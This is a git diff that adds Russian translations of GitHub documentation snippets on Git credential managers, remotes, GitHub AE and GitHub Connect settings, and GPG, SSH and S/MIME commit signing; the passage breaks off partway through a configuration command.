b/translations/ru-RU/data/reusables/git/clear-stored-gcm-credentials.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: d3c24efda5781a5a7cf1416815fa6d0e5bea8343 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147687239" +--- +- Если вы получили выходные данные `manager-core`, используется диспетчер учетных данных Git. Чтобы очистить учетные данные, выполните следующую команду. + + ```shell{:copy} + git credential-manager reject https://github.com + ``` diff --git a/translations/ru-RU/data/reusables/git/clear-the-stored-credentials.md b/translations/ru-RU/data/reusables/git/clear-the-stored-credentials.md new file mode 100644 index 000000000000..0b75c3b4b827 --- /dev/null +++ b/translations/ru-RU/data/reusables/git/clear-the-stored-credentials.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 59669e070f17d2864a9206789c227c70217c06f5 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147687274" +--- +1. Если выходные данные подтверждают использование диспетчера учетных данных, очистите сохраненные учетные данные для диспетчера учетных данных. diff --git a/translations/ru-RU/data/reusables/git/commit-file.md b/translations/ru-RU/data/reusables/git/commit-file.md new file mode 100644 index 000000000000..953666a92b42 --- /dev/null +++ b/translations/ru-RU/data/reusables/git/commit-file.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a0908a257a3333333ac119f1732e0b937c4f180f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110323" +--- +1. Зафиксируйте подготовленный файл в локальном репозитории. diff --git a/translations/ru-RU/data/reusables/git/git-push.md b/translations/ru-RU/data/reusables/git/git-push.md new file mode 100644 index 000000000000..58c2a216e0a9 --- /dev/null +++ b/translations/ru-RU/data/reusables/git/git-push.md @@ -0,0 +1,5 @@ +1. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.location.product_location %}. + ```shell + $ git push origin YOUR_BRANCH + # Pushes the changes in your local repository up to the remote repository you specified as the origin + ``` diff --git a/translations/ru-RU/data/reusables/git/no-credential-manager.md b/translations/ru-RU/data/reusables/git/no-credential-manager.md new file mode 100644 index 000000000000..c211310c1f4d --- /dev/null +++ b/translations/ru-RU/data/reusables/git/no-credential-manager.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: af8f3c7c0c5378080257097644571e8a0d04a840 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109328" +--- +- Если выходные данные не содержат имя диспетчера учетных данных, диспетчер учетных данных не настроен, и вы можете перейти к следующему шагу. diff --git a/translations/ru-RU/data/reusables/git/open-terminal.md b/translations/ru-RU/data/reusables/git/open-terminal.md new file mode 100644 index 000000000000..5f0a8bf81aa4 --- /dev/null +++ b/translations/ru-RU/data/reusables/git/open-terminal.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 20b00bbad6e631b75f674b281256f08dc8b81aa6 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147687207" +--- +1. Откройте терминал. diff --git a/translations/ru-RU/data/reusables/git/provide-credentials.md b/translations/ru-RU/data/reusables/git/provide-credentials.md new file mode 100644 index 000000000000..613014fb9232 --- /dev/null +++ b/translations/ru-RU/data/reusables/git/provide-credentials.md @@ -0,0 +1,3 @@ +1. The first time that you use Git to clone a repository or access data in a repository that you've already cloned, Git will request credentials. Provide the {% data variables.product.pat_generic %} for the account with access to the repository. + + Git will cache the {% data variables.product.pat_generic %} for the directory you're in, and you'll be able to access and write repository data on {% data variables.location.product_location %} using the correct account. diff --git a/translations/ru-RU/data/reusables/git/remove-git-remote.md b/translations/ru-RU/data/reusables/git/remove-git-remote.md new file mode 100644 index 000000000000..16c99428fb94 --- /dev/null +++ b/translations/ru-RU/data/reusables/git/remove-git-remote.md @@ -0,0 +1,18 @@ +--- +ms.openlocfilehash: b11001db7ae2d9d7faa953bac8271282b136eee6 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110304" +--- +1. С помощью командной строки удалите все команды git remote, настроенные в настоящее время для данного репозитория. + + ```shell + # Show existing remotes + $ git remote -v + > origin git@git-server/octocat/hello-world.git (fetch) + > origin git@git-server/octocat/hello-world.git (push) + # Remove existing remotes + $ git remote remove origin + ``` diff --git a/translations/ru-RU/data/reusables/git/reset-head-to-previous-commit-codeblock.md b/translations/ru-RU/data/reusables/git/reset-head-to-previous-commit-codeblock.md new file mode 100644 index 000000000000..11fd8214bf5d --- /dev/null +++ b/translations/ru-RU/data/reusables/git/reset-head-to-previous-commit-codeblock.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 59747684c5d145ac210455bb0f03f77f3a4666ce +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110291" +--- +Чтобы удалить эту фиксацию и изменить файл, используйте команду "git reset --soft HEAD~1", а затем выполните фиксацию и добавьте файл еще раз. diff --git a/translations/ru-RU/data/reusables/git/stage_for_commit.md b/translations/ru-RU/data/reusables/git/stage_for_commit.md new file mode 100644 index 000000000000..79d802f879bf --- /dev/null +++ b/translations/ru-RU/data/reusables/git/stage_for_commit.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 088612e73d5a3d1bb06149fe1b03ed463935d2e3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110280" +--- +1. Подготовьте файл для фиксации в локальном репозитории. diff --git a/translations/ru-RU/data/reusables/git/unstage-codeblock.md b/translations/ru-RU/data/reusables/git/unstage-codeblock.md new file mode 100644 index 000000000000..e16dc449d75c --- /dev/null +++ b/translations/ru-RU/data/reusables/git/unstage-codeblock.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 19c7f8d934ef091315e645955f8c31ef44a108d4 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878357" +--- +Чтобы отменить подготовку файла, используйте команду "git reset HEAD ВАШ-ФАЙЛ". diff --git a/translations/ru-RU/data/reusables/github-ae/about-billing.md b/translations/ru-RU/data/reusables/github-ae/about-billing.md new file mode 100644 index 000000000000..bbcf8c243fb2 --- /dev/null +++ b/translations/ru-RU/data/reusables/github-ae/about-billing.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5cee56f4d4630584aa2c13c40733652eeaa8eb42 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110272" +--- +Вы получите месячный счет за {% data variables.product.prodname_ghe_managed %}, где оплата рассчитывается на каждого лицензированного пользователя в день. diff --git a/translations/ru-RU/data/reusables/github-ae/github-ae-enables-you.md b/translations/ru-RU/data/reusables/github-ae/github-ae-enables-you.md new file mode 100644 index 000000000000..a061715acadc --- /dev/null +++ b/translations/ru-RU/data/reusables/github-ae/github-ae-enables-you.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 66aee735029e4e785a8945aeb0361d62f105721d +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147885006" +--- +{% data variables.product.prodname_ghe_managed %} позволяет переместить рабочую нагрузку DevOps в облако при соблюдении строгих требований к безопасности и соответствию. diff --git a/translations/ru-RU/data/reusables/github-ae/initialize-enterprise.md b/translations/ru-RU/data/reusables/github-ae/initialize-enterprise.md new file mode 100644 index 000000000000..ee4448620d89 --- /dev/null +++ b/translations/ru-RU/data/reusables/github-ae/initialize-enterprise.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 67c9e3c12f604722e2f1bafb971d88d76ded17b0 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110256" +--- +После приобретения {% data variables.product.product_name %} мы попросим вас указать адрес электронной почты и имя пользователя для того человека, который должен инициализировать предприятие. Выделенный менеджер по технической поддержке в {% data variables.contact.enterprise_support %} создаст учетную запись для владельца предприятия и отправит ему сообщение электронной почты, чтобы он мог войти в {% data variables.product.product_name %} и завершить инициализацию. diff --git a/translations/ru-RU/data/reusables/github-ae/saml-idp-table.md b/translations/ru-RU/data/reusables/github-ae/saml-idp-table.md new file mode 100644 index 000000000000..4814c803b9c9 --- /dev/null +++ b/translations/ru-RU/data/reusables/github-ae/saml-idp-table.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: 8afd93954b55495a93b01ca1ed2c0a58946ffbd5 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109327" +--- +{% ifversion ghae %} + +IdP | SAML | Подготовка пользователей | Сопоставление команд| +--- | --- | ---------------- | --------- | +[Azure Active Directory (Azure AD)](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad) | {% octicon "check-circle-fill" aria-label="The check icon" %} | {% octicon "check-circle-fill" aria-label="The check icon" %}| {% octicon "check-circle-fill" aria-label="The check icon" %} | +[Okta](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta) | {% octicon "check-circle-fill" aria-label="The check icon" %}[Бета-версия](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)| {% octicon "check-circle-fill" aria-label="The check icon" %}[Бета-версия](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)| {% octicon "check-circle-fill" aria-label= "The check icon" %}[Бета-версия](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams) | + +{% endif %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/github-connect/access-dotcom-and-enterprise.md b/translations/ru-RU/data/reusables/github-connect/access-dotcom-and-enterprise.md new file mode 100644 index 000000000000..8642c8ffcf94 --- /dev/null +++ b/translations/ru-RU/data/reusables/github-connect/access-dotcom-and-enterprise.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 084dbece6f80f6d0fe997d910376dd4b3bdcb969 +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883871" +--- +1. Войдите в {% ifversion ghes %}{% data variables.product.prodname_ghe_server %}{% else %}{% data variables.product.prodname_ghe_managed %}{% endif %} и {% data variables.product.prodname_dotcom_the_website %}. diff --git a/translations/ru-RU/data/reusables/github-connect/access-profile-settings.md b/translations/ru-RU/data/reusables/github-connect/access-profile-settings.md new file mode 100644 index 000000000000..5afd3c011b0e --- /dev/null +++ b/translations/ru-RU/data/reusables/github-connect/access-profile-settings.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 6ae89eb5e8463207a4c3aaa1d72d054d8178804a +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145110232" +--- +1. В правом верхнем углу любой страницы {% ifversion ghes %}{% data variables.product.prodname_ghe_server %}{% else %}{% data variables.product.prodname_ghe_managed %}{% endif %} щелкните фотографию своего профиля, а затем значок **Параметры**. + ![Значок "Настройки" на панели пользователя](/assets/images/help/settings/userbar-account-settings.png) diff --git a/translations/ru-RU/data/reusables/github-connect/authorize-connection.md b/translations/ru-RU/data/reusables/github-connect/authorize-connection.md new file mode 100644 index 000000000000..b39702b7de86 --- /dev/null +++ b/translations/ru-RU/data/reusables/github-connect/authorize-connection.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 3b6719461cca4f340ca5d665a354a1299df0feed +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110224" +--- +1. Просмотрите ресурсы, к которым {% data variables.product.product_name %} будет обращаться из вашей учетной записи {% data variables.product.prodname_dotcom_the_website %}, а затем нажмите кнопку **Авторизовать**. +{% ifversion ghes %} ![Авторизация подключения между {% data variables.product.prodname_ghe_server %} и {% data variables.product.prodname_dotcom_the_website %}](/assets/images/help/settings/authorize-ghe-to-connect-to-dotcom.png) {% elsif ghae %} ![Авторизация подключения между {% data variables.product.prodname_ghe_managed %} и {% data variables.product.prodname_dotcom_the_website %}](/assets/images/enterprise/github-ae/settings/authorize-ghae-to-connect-to-dotcom.png) {% endif %} diff --git a/translations/ru-RU/data/reusables/github-connect/beta.md b/translations/ru-RU/data/reusables/github-connect/beta.md new file mode 100644 index 000000000000..443eaa59f846 --- /dev/null +++ b/translations/ru-RU/data/reusables/github-connect/beta.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: f7af233e2e1978d1ecda7c29a59f811eb5c21689 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110208" +--- +{% ifversion ghae %} {% note %} + +**Примечание**. Сейчас {% data variables.product.prodname_github_connect %} для {% data variables.product.product_name %} доступен в бета-версии и может быть изменен. + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/github-connect/connect-dotcom-and-enterprise.md b/translations/ru-RU/data/reusables/github-connect/connect-dotcom-and-enterprise.md new file mode 100644 index 000000000000..62fa370dce03 --- /dev/null +++ b/translations/ru-RU/data/reusables/github-connect/connect-dotcom-and-enterprise.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: b646c1b422d1e50de0ad36dbd6784dd3f805f044 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110203" +--- +1. Щелкните **Подключиться к {% data variables.product.prodname_dotcom_the_website %}** . +{% ifversion ghes %} ![Параметры подключения к GitHub.com из GitHub Enterprise Server](/assets/images/help/settings/github.com_end_user_connection.png) {% else %} ![Параметры подключения к GitHub.com из GitHub AE](/assets/images/enterprise/github-ae/settings/github.com-end-user-connection.png) {% endif %} diff --git a/translations/ru-RU/data/reusables/github-connect/connection-port-protocol.md b/translations/ru-RU/data/reusables/github-connect/connection-port-protocol.md new file mode 100644 index 000000000000..b6a04f5941f4 --- /dev/null +++ b/translations/ru-RU/data/reusables/github-connect/connection-port-protocol.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3492d399c754d53fea2091a08c95b212455a8e18 +ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/10/2022 +ms.locfileid: "148160783" +--- +Подключение использует протокол HTTPS через порты 443 или 80 и защищено протоколом TLS. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/github-connect/github-connect-tab-user-settings.md b/translations/ru-RU/data/reusables/github-connect/github-connect-tab-user-settings.md new file mode 100644 index 000000000000..69f1a420cb66 --- /dev/null +++ b/translations/ru-RU/data/reusables/github-connect/github-connect-tab-user-settings.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: c7ac7d11d16c73030f156d758fb76c9c0be2c629 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110195" +--- +1. На левой боковой панели щелкните **{% data variables.product.prodname_github_connect %}** . + ![Вкладка GitHub Connect на боковой панели параметров пользователя](/assets/images/help/settings/github-connect-tab-user-settings.png) diff --git a/translations/ru-RU/data/reusables/github-connect/send-contribution-counts-to-githubcom.md b/translations/ru-RU/data/reusables/github-connect/send-contribution-counts-to-githubcom.md new file mode 100644 index 000000000000..8aa25b79ed06 --- /dev/null +++ b/translations/ru-RU/data/reusables/github-connect/send-contribution-counts-to-githubcom.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 4da530bde31c6791d4e589415159ba4dad64d48f +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879844" +--- +1. В разделе "Вклады" выберите **Send my contribution counts to {% data variables.product.prodname_dotcom_the_website %}** (Отправить мои счетчики вклада на), а затем нажмите кнопку **Update contributions** (Обновить вклады). + ![Флажок отправки вкладов и кнопка обновления вкладов](/assets/images/help/settings/send-and-update-contributions.png) diff --git a/translations/ru-RU/data/reusables/github-connect/sync-frequency.md b/translations/ru-RU/data/reusables/github-connect/sync-frequency.md new file mode 100644 index 000000000000..a048c8d34e4e --- /dev/null +++ b/translations/ru-RU/data/reusables/github-connect/sync-frequency.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5bc00dee93b2e56a23c53f2cea4b12d09140c007 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110179" +--- +{% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% elsif ghes or ghae %}{% data variables.product.product_name %}{% endif %} отправляет обновления раз в час. diff --git a/translations/ru-RU/data/reusables/gpg/configure-gpg-signing.md b/translations/ru-RU/data/reusables/gpg/configure-gpg-signing.md new file mode 100644 index 000000000000..63d0a272aa76 --- /dev/null +++ b/translations/ru-RU/data/reusables/gpg/configure-gpg-signing.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 106c5660ab12d4e3e8b87aeafc33cbca8898a7d8 +ms.sourcegitcommit: 42536e8cb82d50b98cdaee038f09c6aeb0d037c6 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/07/2022 +ms.locfileid: "148012065" +--- +1. Если вы ранее настроили Git использование другого формата ключа при подписи с `--gpg-sign`помощью, отмените эту конфигурацию, чтобы будет использоваться формат `openpgp` по умолчанию. + + ```Shell + $ git config --global --unset gpg.format + ``` diff --git a/translations/ru-RU/data/reusables/gpg/configure-ssh-signing.md b/translations/ru-RU/data/reusables/gpg/configure-ssh-signing.md new file mode 100644 index 000000000000..1c9177000eb2 --- /dev/null +++ b/translations/ru-RU/data/reusables/gpg/configure-ssh-signing.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 0a0e572422bee311ca8adb2b40c81a00907c0dfb +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109623" +--- +1. Настройте Git, чтобы использовать SSH для подписывания фиксаций и тегов: + ```bash + $ git config --global gpg.format ssh + ``` diff --git a/translations/ru-RU/data/reusables/gpg/copy-gpg-key-id.md b/translations/ru-RU/data/reusables/gpg/copy-gpg-key-id.md new file mode 100644 index 000000000000..b81f21258ebf --- /dev/null +++ b/translations/ru-RU/data/reusables/gpg/copy-gpg-key-id.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 477b5d6f7f1c0d856473991c1cc3f7cf3b52dab9 +ms.sourcegitcommit: 219fb805abddaef3e5547638bd798da890020bfd +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147869446" +--- +1. Из списка ключей GPG скопируйте длинную форму идентификатора ключа GPG, который вы хотите использовать. В этом примере идентификатором ключа GPG является `3AA5C34371567BD2`: + ```shell{:copy} + $ gpg --list-secret-keys --keyid-format=long + /Users/hubot/.gnupg/secring.gpg + ------------------------------------ + sec 4096R/3AA5C34371567BD2 2016-03-10 [expires: 2017-03-10] + uid Hubot + ssb 4096R/42B317FD4BA89E7A 2016-03-10 + ``` diff --git a/translations/ru-RU/data/reusables/gpg/desktop-support-for-commit-signing.md b/translations/ru-RU/data/reusables/gpg/desktop-support-for-commit-signing.md new file mode 100644 index 000000000000..c4217033ee92 --- /dev/null +++ b/translations/ru-RU/data/reusables/gpg/desktop-support-for-commit-signing.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 025f8d3f6ccaaad7cd744115d1a3f96a1a7fb869 +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883556" +--- +{% note %} + +**Примечание.** [GitHub Desktop](https://desktop.github.com/) поддерживает подписывание только в том случае, если клиент Git настроен для подписи фиксаций по умолчанию. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/gpg/list-keys-with-note.md b/translations/ru-RU/data/reusables/gpg/list-keys-with-note.md new file mode 100644 index 000000000000..8db12cb2e9c5 --- /dev/null +++ b/translations/ru-RU/data/reusables/gpg/list-keys-with-note.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: 85c4e104344284797c4fc047569b99657a08d342 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147694227" +--- +1. Команда `gpg --list-secret-keys --keyid-format=long` позволяет получить длинную форму ключей GPG, для которых у вас есть открытый и закрытый ключ. Закрытый ключ необходим для подписания фиксаций или тегов. + + ```shell{:copy} + $ gpg --list-secret-keys --keyid-format=long + ``` + + {% note %} + + **Примечание.** В некоторых установках GPG в Linux для просмотра списка существующих ключей может требоваться `gpg2 --list-keys --keyid-format LONG`. В этом случае также нужно будет настроить Git для использования `gpg2`, выполнив `git config --global gpg.program gpg2`. + + {% endnote %} diff --git a/translations/ru-RU/data/reusables/gpg/paste-gpg-key-id.md b/translations/ru-RU/data/reusables/gpg/paste-gpg-key-id.md new file mode 100644 index 000000000000..f5612871d2a2 --- /dev/null +++ b/translations/ru-RU/data/reusables/gpg/paste-gpg-key-id.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: a844d741a89d4839e7c2c4010a1479246cc4d405 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: "148009840" +--- +1. Чтобы задать первичный ключ подписи GPG в Git, вставьте приведенный ниже текст, подставив идентификатор первичного ключа GPG, который вы хотите использовать. В этом примере идентификатором ключа GPG является `3AA5C34371567BD2`: + ```shell + $ git config --global user.signingkey 3AA5C34371567BD2 + ``` + + Кроме того, при задании подраздела включите суффикс `!`. В этом примере идентификатором подраздела GPG является `4BB6D45482678BE3`: + ```shell + $ git config --global user.signingkey 4BB6D45482678BE3! + ``` diff --git a/translations/ru-RU/data/reusables/gpg/paste-ssh-public-key.md b/translations/ru-RU/data/reusables/gpg/paste-ssh-public-key.md new file mode 100644 index 000000000000..f0ee2eab9343 --- /dev/null +++ b/translations/ru-RU/data/reusables/gpg/paste-ssh-public-key.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 6dfaad4dc9dc813104183b2c9db41e480c9b27fb +ms.sourcegitcommit: 0a6e3eee6eea9b1e445aea1e4461d64cf6b63218 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: "148163580" +--- +1. Чтобы задать ключ подписывания SSH в Git, вставьте приведенный ниже текст, заменив **/PATH/TO/KEY. PUB** с путем к открытому ключу, который вы хотите использовать. + ```bash + $ git config --global user.signingkey /PATH/TO/.SSH/KEY.PUB diff --git a/translations/ru-RU/data/reusables/gpg/private-email.md b/translations/ru-RU/data/reusables/gpg/private-email.md new file mode 100644 index 000000000000..6b43995569ce --- /dev/null +++ b/translations/ru-RU/data/reusables/gpg/private-email.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: e9d035ff2cfe63ced768eebbacdfb0ba3facca9d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145110144" +--- +{% ifversion fpt or ghec %} Если вы хотите, чтобы ваш адрес электронной почты оставался личным, используйте адрес электронной почты `no-reply`, предоставленный {% data variables.product.product_name %}. +{% endif %} diff --git a/translations/ru-RU/data/reusables/gpg/set-auto-sign.md b/translations/ru-RU/data/reusables/gpg/set-auto-sign.md new file mode 100644 index 000000000000..ec2453d1a751 --- /dev/null +++ b/translations/ru-RU/data/reusables/gpg/set-auto-sign.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 433353bab85af771dfd5c61935d9d9bbb08ee8c8 +ms.sourcegitcommit: 28b484c0a936595c5a9b5ac30b4480215865dbca +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/21/2022 +ms.locfileid: "148104535" +--- +1. При необходимости, чтобы настроить Git для подписывания всех фиксаций по умолчанию, введите следующую команду: + + ```Shell + $ git config --global commit.gpgsign true + ``` + + Дополнительные сведения см. в разделе "[Подписывание фиксаций](/authentication/managing-commit-signature-verification/signing-commits)". diff --git a/translations/ru-RU/data/reusables/gpg/smime-git-version.md b/translations/ru-RU/data/reusables/gpg/smime-git-version.md new file mode 100644 index 000000000000..c67899d02a29 --- /dev/null +++ b/translations/ru-RU/data/reusables/gpg/smime-git-version.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 940cd229e31454f0e4946537e218fa7edbe2145c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110128" +--- + +{% note %} + +**Примечание.** Проверка подписи S/MIME доступна в Git 2.19 и более поздних версий. Сведения об обновлении версии Git см. на веб-сайте [Git](https://git-scm.com/downloads). + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/gpg/supported-gpg-key-algorithms.md b/translations/ru-RU/data/reusables/gpg/supported-gpg-key-algorithms.md new file mode 100644 index 000000000000..652c3bed8a33 --- /dev/null +++ b/translations/ru-RU/data/reusables/gpg/supported-gpg-key-algorithms.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: 4f798df40569f449ce5fff79117cc6dab4e4051e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110120" +--- + +### Поддерживаемые алгоритмы ключей GPG + +{% data variables.product.product_name %} поддерживает несколько алгоритмов ключей GPG. При попытке добавить ключ, созданный с помощью неподдерживаемого алгоритма, может возникнуть ошибка. + +- RSA +- ElGamal +- DSA +- ECDH +- ECDSA +- EdDSA diff --git a/translations/ru-RU/data/reusables/gpg/x-509-key.md b/translations/ru-RU/data/reusables/gpg/x-509-key.md new file mode 100644 index 000000000000..ab08d0ea8181 --- /dev/null +++ b/translations/ru-RU/data/reusables/gpg/x-509-key.md @@ -0,0 +1,65 @@ +--- +ms.openlocfilehash: f277d0294224922a74ce406c5cfb2a06daa6db2d +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: "148008974" +--- + +## Предоставление Git информации о вашем ключе X.509 + +Вы можете использовать [smimesign](https://github.com/github/smimesign) для подписывания фиксаций и тегов с помощью S/MIME. + +{% data reusables.gpg.smime-git-version %} + +1. Установите [smimesign](https://github.com/github/smimesign#installation). +{% data reusables.command_line.open_the_multi_os_terminal %} +3. Настройте Git, чтобы использовать S/MIME для подписывания фиксаций и тегов. В Git 2.19 или более поздней версии используйте команды `git config gpg.x509.program` и `git config gpg.format`: + - Чтобы использовать S/MIME для подписывания во всех репозиториях, воспользуйтесь следующим кодом: + ```shell + $ git config --global gpg.x509.program smimesign + $ git config --global gpg.format x509 + ``` + - Чтобы использовать S/MIME для подписывания в одном репозитории, воспользуйтесь следующим кодом: + ```shell + $ cd PATH-TO-REPOSITORY + $ git config --local gpg.x509.program smimesign + $ git config --local gpg.format x509 + ``` + В Git 2.18 или более ранней версии используйте команду `git config gpg.program`: + - Чтобы использовать S/MIME для подписывания во всех репозиториях, воспользуйтесь следующим кодом: + ```shell + $ git config --global gpg.program smimesign + ``` + - Чтобы использовать S/MIME для подписывания в одном репозитории, воспользуйтесь следующим кодом: + ```shell + $ cd 